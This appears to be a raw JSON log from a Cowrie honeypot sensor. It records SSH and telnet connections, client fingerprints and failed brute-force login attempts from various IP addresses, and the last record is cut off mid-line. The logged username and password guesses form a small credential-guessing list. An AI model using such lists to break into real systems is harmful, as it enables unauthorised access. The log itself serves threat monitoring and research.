{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":39616,"dst_ip":"10.17.0.5","dst_port":23,"session":"32d31c168e9d","protocol":"telnet","message":"New connection: 64.237.60.107:39616 (10.17.0.5:23) [session: 32d31c168e9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:13:07.795098Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":12948,"dst_ip":"10.17.0.5","dst_port":22,"session":"f9619ecaccce","protocol":"ssh","message":"New connection: 2.57.121.25:12948 (10.17.0.5:22) [session: f9619ecaccce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:13:08.273530Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:13:08.278508Z","src_ip":"2.57.121.25","session":"f9619ecaccce","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:13:08.389212Z","src_ip":"2.57.121.25","session":"f9619ecaccce","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"fuckof","message":"login attempt [user/fuckof] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:13:08.887992Z","src_ip":"2.57.121.25","session":"f9619ecaccce","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"fucing","message":"login attempt [user/fucing] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:13:10.002882Z","src_ip":"2.57.121.25","session":"f9619ecaccce","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":39630,"dst_ip":"10.17.0.5","dst_port":23,"session":"bc0bbb4619d2","protocol":"telnet","message":"New connection: 64.237.60.107:39630 (10.17.0.5:23) [session: bc0bbb4619d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:13:10.097340Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":39644,"dst_ip":"10.17.0.5","dst_port":23,"session":"f3cec81f8830","protocol":"telnet","message":"New connection: 64.237.60.107:39644 (10.17.0.5:23) [session: f3cec81f8830]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:13:10.205129Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":39648,"dst_ip":"10.17.0.5","dst_port":23,"session":"a3a439ffc594","protocol":"telnet","message":"New connection: 64.237.60.107:39648 (10.17.0.5:23) [session: a3a439ffc594]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:13:10.233925Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":39658,"dst_ip":"10.17.0.5","dst_port":23,"session":"7869d1ddc8bf","protocol":"telnet","message":"New connection: 64.237.60.107:39658 (10.17.0.5:23) [session: 7869d1ddc8bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:13:10.873821Z"}
{"eventid":"cowrie.login.failed","username":"user","password":"franck","message":"login attempt [user/franck] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:13:11.111648Z","src_ip":"2.57.121.25","session":"f9619ecaccce","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"foxhound","message":"login attempt [user/foxhound] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:13:12.221100Z","src_ip":"2.57.121.25","session":"f9619ecaccce","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.77.199.58","src_port":37554,"dst_ip":"10.17.0.5","dst_port":23,"session":"f48116fef2c9","protocol":"telnet","message":"New connection: 45.77.199.58:37554 (10.17.0.5:23) [session: f48116fef2c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:13:13.114722Z"}
{"eventid":"cowrie.session.closed","duration":30.642303466796875,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:13:13.231886Z","src_ip":"64.237.60.107","session":"b298d99841ed","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"user","password":"flow","message":"login attempt [user/flow] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:13:13.329348Z","src_ip":"2.57.121.25","session":"f9619ecaccce","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.232.73.84","src_port":59982,"dst_ip":"159.203.135.109","dst_port":22,"session":"eaf05f2cd6b7","protocol":"ssh","message":"New connection: 45.232.73.84:59982 (159.203.135.109:22) [session: eaf05f2cd6b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:13:14.277605Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:13:14.286508Z","src_ip":"45.232.73.84","session":"eaf05f2cd6b7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:13:14.414145Z","src_ip":"45.232.73.84","session":"eaf05f2cd6b7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.2","message":"Connection lost after 6.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:13:14.441365Z","src_ip":"2.57.121.25","session":"f9619ecaccce","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":39662,"dst_ip":"10.17.0.5","dst_port":23,"session":"607eaeea57a4","protocol":"telnet","message":"New connection: 64.237.60.107:39662 (10.17.0.5:23) [session: 607eaeea57a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:13:14.572272Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"124578","message":"login attempt [root/124578] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:13:14.904993Z","src_ip":"45.232.73.84","session":"eaf05f2cd6b7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.247.137.171","src_port":58399,"dst_ip":"10.17.0.5","dst_port":22,"session":"dba11417479c","protocol":"ssh","message":"New connection: 185.247.137.171:58399 (10.17.0.5:22) [session: dba11417479c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:13:15.698894Z"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:13:16.038540Z","src_ip":"45.232.73.84","session":"eaf05f2cd6b7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:13:17.697644Z","src_ip":"185.247.137.171","session":"dba11417479c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.247.137.171","src_port":40693,"dst_ip":"10.17.0.5","dst_port":22,"session":"3fef39ce1584","protocol":"ssh","message":"New connection: 185.247.137.171:40693 (10.17.0.5:22) [session: 3fef39ce1584]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:13:17.764935Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:13:17.769567Z","src_ip":"185.247.137.171","session":"3fef39ce1584","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":39970,"dst_ip":"10.17.0.5","dst_port":22,"session":"e008d11e7601","protocol":"ssh","message":"New connection: 194.59.206.2:39970 (10.17.0.5:22) [session: e008d11e7601]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:13:17.774052Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:13:17.779200Z","src_ip":"194.59.206.2","session":"e008d11e7601","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:13:17.841383Z","src_ip":"185.247.137.171","session":"3fef39ce1584","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:13:17.887939Z","src_ip":"194.59.206.2","session":"e008d11e7601","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:13:17.917548Z","src_ip":"185.247.137.171","session":"3fef39ce1584","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:13:17.979661Z","src_ip":"194.59.206.2","session":"e008d11e7601","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.77.199.58","src_port":56070,"dst_ip":"10.17.0.5","dst_port":23,"session":"383dc0d65daf","protocol":"telnet","message":"New connection: 45.77.199.58:56070 (10.17.0.5:23) [session: 383dc0d65daf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:13:26.878115Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":39412,"dst_ip":"159.203.135.109","dst_port":22,"session":"c53c9b264056","protocol":"ssh","message":"New connection: 159.203.92.129:39412 (159.203.135.109:22) [session: c53c9b264056]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:13:28.462301Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:13:28.467153Z","src_ip":"159.203.92.129","session":"c53c9b264056","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:13:28.473181Z","src_ip":"159.203.92.129","session":"c53c9b264056","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"adminroot","password":"adminroot01","message":"login attempt [adminroot/adminroot01] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:13:28.483833Z","src_ip":"159.203.92.129","session":"c53c9b264056","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.88266134262085,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:13:29.117637Z","src_ip":"64.237.60.107","session":"75880e89d473","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:13:29.489734Z","src_ip":"159.203.92.129","session":"c53c9b264056","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.77.199.58","src_port":56074,"dst_ip":"10.17.0.5","dst_port":23,"session":"9d058703c764","protocol":"telnet","message":"New connection: 45.77.199.58:56074 (10.17.0.5:23) [session: 9d058703c764]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:13:32.582700Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.77.199.58","src_port":56082,"dst_ip":"10.17.0.5","dst_port":23,"session":"0349f311b78d","protocol":"telnet","message":"New connection: 45.77.199.58:56082 (10.17.0.5:23) [session: 0349f311b78d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:13:33.113353Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.77.199.58","src_port":35240,"dst_ip":"10.17.0.5","dst_port":23,"session":"3d8d160dd509","protocol":"telnet","message":"New connection: 45.77.199.58:35240 (10.17.0.5:23) [session: 3d8d160dd509]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:13:35.333356Z"}
{"eventid":"cowrie.session.closed","duration":30.239840269088745,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:13:38.034849Z","src_ip":"64.237.60.107","session":"32d31c168e9d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.77.199.58","src_port":35244,"dst_ip":"10.17.0.5","dst_port":23,"session":"aa52698d5f94","protocol":"telnet","message":"New connection: 45.77.199.58:35244 (10.17.0.5:23) [session: aa52698d5f94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:13:40.197725Z"}
{"eventid":"cowrie.session.closed","duration":30.85151505470276,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:13:41.056508Z","src_ip":"64.237.60.107","session":"f3cec81f8830","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.996131896972656,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:13:41.093310Z","src_ip":"64.237.60.107","session":"bc0bbb4619d2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.32902193069458,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:13:41.202704Z","src_ip":"64.237.60.107","session":"7869d1ddc8bf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.352835178375244,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:13:41.586627Z","src_ip":"64.237.60.107","session":"a3a439ffc594","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.77.199.58","src_port":35250,"dst_ip":"10.17.0.5","dst_port":23,"session":"fe376424815f","protocol":"telnet","message":"New connection: 45.77.199.58:35250 (10.17.0.5:23) [session: fe376424815f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:13:42.130362Z"}
{"eventid":"cowrie.session.closed","duration":31.02220582962036,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:13:44.136839Z","src_ip":"45.77.199.58","session":"f48116fef2c9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.62528681755066,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:13:45.197378Z","src_ip":"64.237.60.107","session":"607eaeea57a4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.163.183","src_port":52530,"dst_ip":"10.17.0.5","dst_port":22,"session":"9c230d7f9e04","protocol":"ssh","message":"New connection: 152.32.163.183:52530 (10.17.0.5:22) [session: 9c230d7f9e04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:13:47.282968Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:13:47.288314Z","src_ip":"152.32.163.183","session":"9c230d7f9e04","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":43084,"dst_ip":"10.17.0.5","dst_port":23,"session":"1ade2b681dad","protocol":"telnet","message":"New connection: 64.237.60.107:43084 (10.17.0.5:23) [session: 1ade2b681dad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:13:48.224064Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffi